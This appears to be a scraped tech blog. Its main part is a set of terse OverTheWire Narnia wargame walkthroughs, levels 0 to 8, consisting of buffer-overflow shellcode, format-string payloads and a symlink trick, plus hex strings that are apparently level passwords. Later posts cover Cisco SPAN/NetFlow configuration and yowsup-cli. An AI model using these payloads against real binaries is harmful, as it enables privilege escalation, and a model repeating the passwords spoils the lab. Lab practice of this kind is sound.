#cat vm_backup.script
#./vm_backup.script XS01 vserver.lab.net
# XenServer virtual machine backup script
# Narnia wargame: Level 8
#ssh narnia8@narnia.labs.overthewire.org
6d6f6874687570686f67
narnia8@melissa$file /narnia/narnia8
narnia8@melissa$cat /narnia/narnia8.c
narnia8@melissa$mkdir /tmp/n8
narnia8@melissa$cd /tmp/n8
narnia8@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
narnia8@melissa$./getenvaddr EGG /narnia/narnia8
narnia8@melissa$/narnia/narnia8 `perl -e 'print "A"x20 . "\xeb\xd8\xff\xff" . "A"x8 . "\x8d\x7f\xff\xff" . "\x7d\xd9\xff\xff"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia9
$exit
narnia8@melissa:/tmp/n8$/narnia/narnia8 `perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xeb\x04" . "\xeb\xd8\xff\xff" . "\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x8d\x7f\xff\xff" . "\xeb\xd8\xff\xff"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia9
$exit
narnia8@melissa$ln -s /bin/sh sh
narnia8@melissa$/narnia/narnia8 `perl -e 'print "\x31\xc0\x50\x68\x2e\x2f\x73\x68\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xeb\xd8\xff\xff" . "A"x8 . "\x8d\x7f\xff\xff" . "\xeb\xd8\xff\xff"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia9
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 7
#ssh narnia7@narnia.labs.overthewire.org
61686b69617a69706875
narnia7@melissa$file /narnia/narnia7
narnia7@melissa$cat /narnia/narnia7.c
narnia7@melissa$/narnia/narnia7 `perl -e 'print "\x9c\xd6\xff\xff" . "%x%x%x%x%.134514310d%n"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia8
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 6
#ssh narnia6@narnia.labs.overthewire.org
6e65657a6f6361656e67
narnia6@melissa$file /narnia/narnia6
narnia6@melissa$cat /narnia/narnia6.c
narnia6@melissa$gdb -q /narnia/narnia6
(gdb)run a b
(gdb)break system
(gdb)quit
narnia6@melissa$/narnia/narnia6 `perl -e 'print "a"x8 . "\x60\xf2\xea\xf7"'` `perl -e 'print "a"x8 . "/bin/sh"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia7
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 5
#ssh narnia5@narnia.labs.overthewire.org
6661696d616863686979
narnia5@melissa$file /narnia/narnia5
narnia5@melissa$cat /narnia/narnia5.c
narnia5@melissa$/narnia/narnia5 `perl -e 'print "\x3c\xd7\xff\xff" . "%x%x%x%.471d%n"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia6
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 4
#ssh narnia4@narnia.labs.overthewire.org
746861656e6f68746169
narnia4@melissa$file /narnia/narnia4
narnia4@melissa$cat /narnia/narnia4.c
narnia4@melissa$/narnia/narnia4 `perl -e 'print "\x90"x206 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xd0\xd4\xff\xff"x40'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia5
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 3
#ssh narnia3@narnia.labs.overthewire.org
766165717565657a6565
narnia3@melissa$file /narnia/narnia3
narnia3@melissa$cat /narnia/narnia3.c
narnia3@melissa$mkdir -p /tmp/narnia3--------------------/tmp
narnia3@melissa$ln -s /etc/narnia_pass/narnia4 /tmp/narnia3--------------------/tmp/n4pw
narnia3@melissa$touch /tmp/n4pw
narnia3@melissa$chmod 666 /tmp/n4pw
narnia3@melissa$/narnia/narnia3 /tmp/narnia3--------------------/tmp/n4pw
narnia3@melissa$cat /tmp/n4pw
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 2
#ssh narnia2@narnia.labs.overthewire.org
6e616972696570656375
narnia2@melissa$file /narnia/narnia2
narnia2@melissa$cat /narnia/narnia2.c
narnia2@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
narnia2@melissa$cat getenvaddr.c
narnia2@melissa$gcc -m32 -o getenvaddr getenvaddr.c
narnia2@melissa$./getenvaddr EGG /narnia/narnia2
narnia2@melissa$/narnia/narnia2 `perl -e 'print "\x90"x140 . "\x7d\xd9\xff\xff"'`
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia3
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 1
#cat mycat.asm
#nasm -f elf mycat.asm && ld -o mycat mycat.o
#od2sc mycat
#ssh narnia1@narnia.labs.overthewire.org
65666569646965646165
narnia1@melissa$file /narnia/narnia1
narnia1@melissa$cat /narnia/narnia1.c
narnia1@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x6e\x69\x61\x32\x68\x2f\x6e\x61\x72\x68\x70\x61\x73\x73\x68\x6e\x69\x61\x5f\x68\x2f\x6e\x61\x72\x68\x2f\x65\x74\x63\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"'`
narnia1@melissa$/narnia/narnia1
narnia1@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
narnia1@melissa$/narnia/narnia1
$/usr/bin/whoami
$/bin/cat /etc/narnia_pass/narnia2
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 0
#ssh narnia0@narnia.labs.overthewire.org
6e61726e696130
narnia0@melissa$file /narnia/narnia0
narnia0@melissa$cat /narnia/narnia0.c
narnia0@melissa$perl -e 'print "a"x20 . "\xef\xbe\xad\xde"'
narnia0@melissa$cat | /narnia/narnia0
aaaaaaaaaaaaaaaaaaaaï¾Þ
/usr/bin/whoami
/bin/cat /etc/narnia_pass/narnia1
^C
narnia0@melissa$(perl -e 'print "a"x20 . "\xef\xbe\xad\xde"' ; echo "/usr/bin/whoami" ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
narnia0@melissa$(((echo -e "aaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" ; exit) ; echo "/usr/bin/whoami") ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
Labels:
narnia,
overthewire,
wargame
# Mini Protocol Analyzer
Understanding how the Mini Protocol Analyzer works
- Release 12.2(33)SXI and later releases support the Mini Protocol Analyzer feature.
- Captures network traffic from a SPAN session and stores the captured packet in a local memory buffer.
- You can limit the captured packets from selected VLANs, ACLs, MACs, ethertype or packet size.
- You can start and stop the capture using immediate commands, or schedule the capture to begin at a specified date and time.
- The captured data can be displayed on the console, stored to a local file system, or exported to an external server.
- By default, only the first 68 bytes of each packet are captured.
- Only one capture session is supported.
Configuration
Switch(config)#monitor session 1 type capture
Switch(config-mon-capture)#description Mini Protocol Analyzer session
Switch(config-mon-capture)#buffer-size 1024
! The default is 2048 KB Switch(config-mon-capture)#rate-limit 1000
! The default is 10000 packets per second Switch(config-mon-capture)#source interface gi1/1 both
Switch(config-mon-capture)#filter access-group capture_acl
Switch(config-mon-capture)#filter vlan 100
Switch(config-mon-capture)#filter ethertype 0x0800
! IPv4 packets Switch(config-mon-capture)#filter length 0 1024
! Between 0 and 1024 bytes Switch(config-mon-capture)#filter mac-address aabb.ccdd.eeff
Starting and stopping a capture
The capture ends when one of the following conditions occurs:
- A stop or clear command is executed.
- The capture buffer becomes full, unless it is configured as a circular buffer.
- The number of seconds has elapsed.
- The number of packets has been captured.
Switch#monitor capture linear start
Switch#monitor capture linear start for 10 seconds
Switch#monitor capture linear start schedule at 22:00:00 11 feb 2013
Displaying and exporting the capture buffer
Switch#show monitor capture
Switch#show monitor capture status
Switch#show monitor capture buffer 1 detail
Switch#show monitor capture buffer 1 brief
Switch#monitor capture export buffer disk0:capture_file.cap
# Configuring Local SPAN, RSPAN and ERSPAN
Switched Port ANalyzer (SPAN)
- Monitors all traffic, including multicast and BPDUs.
- 2 local SPAN source sessions.
- 128 sources per session.
- 64 destinations per session.
Switch(config)#monitor session 1 type local
Switch(config-mon-local)#description SPAN session
Switch(config-mon-local)#source interface gi1/1-4 both
Switch(config-mon-local)#destination interface gi2/1
Switch(config-mon-local)#no shut
Switch(config)#monitor session 1 source interface gi1/1-4 both
Switch(config)#monitor session 1 destination interface gi2/1
Remote SPAN (RSPAN)
- Uses a Layer 2 VLAN to carry SPAN traffic between switches.
- Does not monitor BPDUs.
- 2 RSPAN source sessions.
- 64 RSPAN destination sessions.
- 128 sources per session and 1 RSPAN VLAN.
- 64 destinations per session.
- Any network device that supports RSPAN VLANs can be an RSPAN intermediate device.
- MAC address learning is disabled in the RSPAN VLAN.
Switch1(config)#monitor session 1 type rspan-source
Switch1(config-mon-rspan-src)#description RSPAN session - source
Switch1(config-mon-rspan-src)#source interface gi1/1-4 both
Switch1(config-mon-rspan-src)#destination remote vlan 666
Switch1(config-mon-rspan-src)#no shut
Switch2(config)#monitor session 1 type rspan-destination
Switch2(config-mon-rspan-dst)#description RSPAN session - destination
Switch2(config-mon-rspan-dst)#source remote vlan 666
Switch2(config-mon-rspan-dst)#destination interface gi2/1
Switch2(config-mon-rspan-dst)#no shut
Switch1(config)#monitor session 1 source interface gi1/1-4 both
Switch1(config)#monitor session 1 destination remote vlan 666
Switch2(config)#monitor session 1 source remote vlan 666
Switch2(config)#monitor session 1 destination interface gi2/1
Encapsulated RSPAN (ERSPAN)
- Uses a GRE tunnel to carry traffic between switches.
- Adds 50 byte header.
- DF bit is set to prevent fragmentation.
- ERSPAN ID differentiates from various different ERSPAN source sessions.
- Monitors all traffic, including multicast and BPDUs.
- 2 ERSPAN source sessions.
- 24 ERSPAN destination sessions.
- 128 sources per session and 1 IP address.
- 64 destinations per session.
Switch1(config)#monitor session 1 type erspan-source
Switch1(config-mon-erspan-src)#description ERSPAN session - source
Switch1(config-mon-erspan-src)#source interface gi1/1-4 both
Switch1(config-mon-erspan-src)#destination
Switch1(config-mon-erspan-src-dst)#ip address 10.2.2.2
Switch1(config-mon-erspan-src-dst)#erspan-id 111
Switch1(config-mon-erspan-src-dst)#origin ip address 10.1.1.1
Switch1(config-mon-erspan-src-dst)#ip ttl 5
Switch1(config-mon-erspan-src)#no shut
Switch2(config)#monitor session 1 type erspan-destination
Switch2(config-mon-erspan-dst)#description ERSPAN session - destination
Switch2(config-mon-erspan-dst)#source
Switch2(config-mon-erspan-dst-src)#ip address 10.2.2.2
Switch2(config-mon-erspan-dst-src)#erspan-id 111
Switch2(config-mon-erspan-dst)#destination interface gi2/1
Switch2(config-mon-erspan-dst)#no shut
Source trunk VLAN filtering
Switch(config)# monitor session 1 filter vlan 1-5,10
Destination trunk VLAN filtering
Switch(config)#interface gi2/1
Switch(config-if)#switchport
Switch(config-if)#switchport encapsulation dot1q
Switch(config-if)#switchport mode trunk
Switch(config-if)#switchport trunk allowed vlan 10
Destination port permit lists
Switch(config)#monitor permit-list
Switch(config)#monitor permit-list destination interface gi2/2-4
Switch#show monitor permit-list
Notes
- SPAN does not copy the encapsulation from trunk sources. You can configure SPAN destinations as trunks to tag the monitored traffic before it is transmitted for analysis.
- Traffic that enters a VLAN through a Layer 3 VLAN interface is monitored when it is transmitted through an egress port that is in the source VLAN.
- Destination etherchannels do not support PAgP or LACP protocols, only the on mode.
- You can connect member links of a destination etherchannel to separate network analyzers.
- SPAN consumes too many switch and network resources to enable permanently.
# NetFlow configuration on Catalyst and Nexus switches
Background information
- The NetFlow cache on the Multilayer Switch Feature Card (MSFC) captures statistics for flows routed in software.
- The NetFlow cache on the Policy Feature Card (PFC) captures statistics for flows routed in hardware.
- A flow mask defines the format of a cache entry in the NetFlow cache table.
- You need to configure Netflow Data Export (NDE) to export NetFlow statistics to a NetFlow collector.
Catalyst NetFlow configuration
- MSFC configuration
Catalyst(config)#interface vlan10
Catalyst(config-if)#ip route-cache flow
Catalyst(config)#ip flow-export version 5
Catalyst(config)#ip flow-cache timeout active 5
Catalyst(config)#ip flow-cache timeout inactive 15
- PFC configuration
Catalyst(config)#mls netflow
Catalyst(config)#mls flow ip full-interface
Catalyst(config)#mls nde sender version 5
Catalyst(config)#mls aging fast
Catalyst(config)#mls aging long 300
Catalyst(config)#mls aging normal 15
- Common configuration
Catalyst(config)#snmp-server ifindex persist
Catalyst(config)#ip flow-export source loopback0
Catalyst(config)#ip flow-export destination 10.0.0.1 9995
- Checks
Catalyst#show ip flow export
Catalyst#show ip cache flow
Catalyst#show mls nde
Catalyst#show snmp mib ifmib ifindex
Nexus NetFlow configuration
- Configuration
Nexus(config)#feature netflow
Nexus(config)#flow exporter collector
Nexus(config-flow-exporter)#description export netflow to collector
Nexus(config-flow-exporter)#destination 10.0.0.1
Nexus(config-flow-exporter)#version 5
Nexus(config-flow-exporter)#source loopback0
Nexus(config-flow-exporter)#transport udp 9995
Nexus(config)#flow monitor monitor_nexus
Nexus(config-flow-monitor)#exporter collector
Nexus(config-flow-monitor)#record netflow-original
Nexus(config)#int vlan10
Nexus(config-if)#ip flow monitor monitor_nexus input
Nexus(config)#flow timeout active 300
Nexus(config)#flow timeout inactive 15
- Checks
Nexus#show flow monitor monitor_nexus
Nexus#show flow exporter collector
Nexus#show flow record netflow-original
Nexus#show hardware flow ip
Nexus#show interface snmp-ifindex
# yowsup-cli: Send Whatsapp messages from command-line
Installation and configuration
#apt-get install python python-dateutil python-argparse
#wget https://github.com/tgalal/yowsup/archive/master.zip
#unzip master.zip
#cd yowsup-master/src
#cp config.example yowsup-cli.config
#cat yowsup-cli.config
#chmod +x yowsup-cli
#./yowsup-cli --requestcode sms --config yowsup-cli.config
#./yowsup-cli --register 123-456 --config yowsup-cli.config
#cat yowsup-cli.config
Send a message
# ./yowsup-cli --send 34111222333 "Test message" --wait --config yowsup-cli.config
Receive messages
# ./yowsup-cli --listen --autoack --keepalive --config yowsup-cli.config
Interactive: Send and receive messages
#./yowsup-cli --interactive 34111222333 --wait --autoack --keepalive --config yowsup-cli.config
/unavailable
References
https://github.com/tgalal/yowsup
http://www.fonyou.es
Labels:
command-line,
whatsapp,
yowsup-cli
Subscribe to:
Posts (Atom)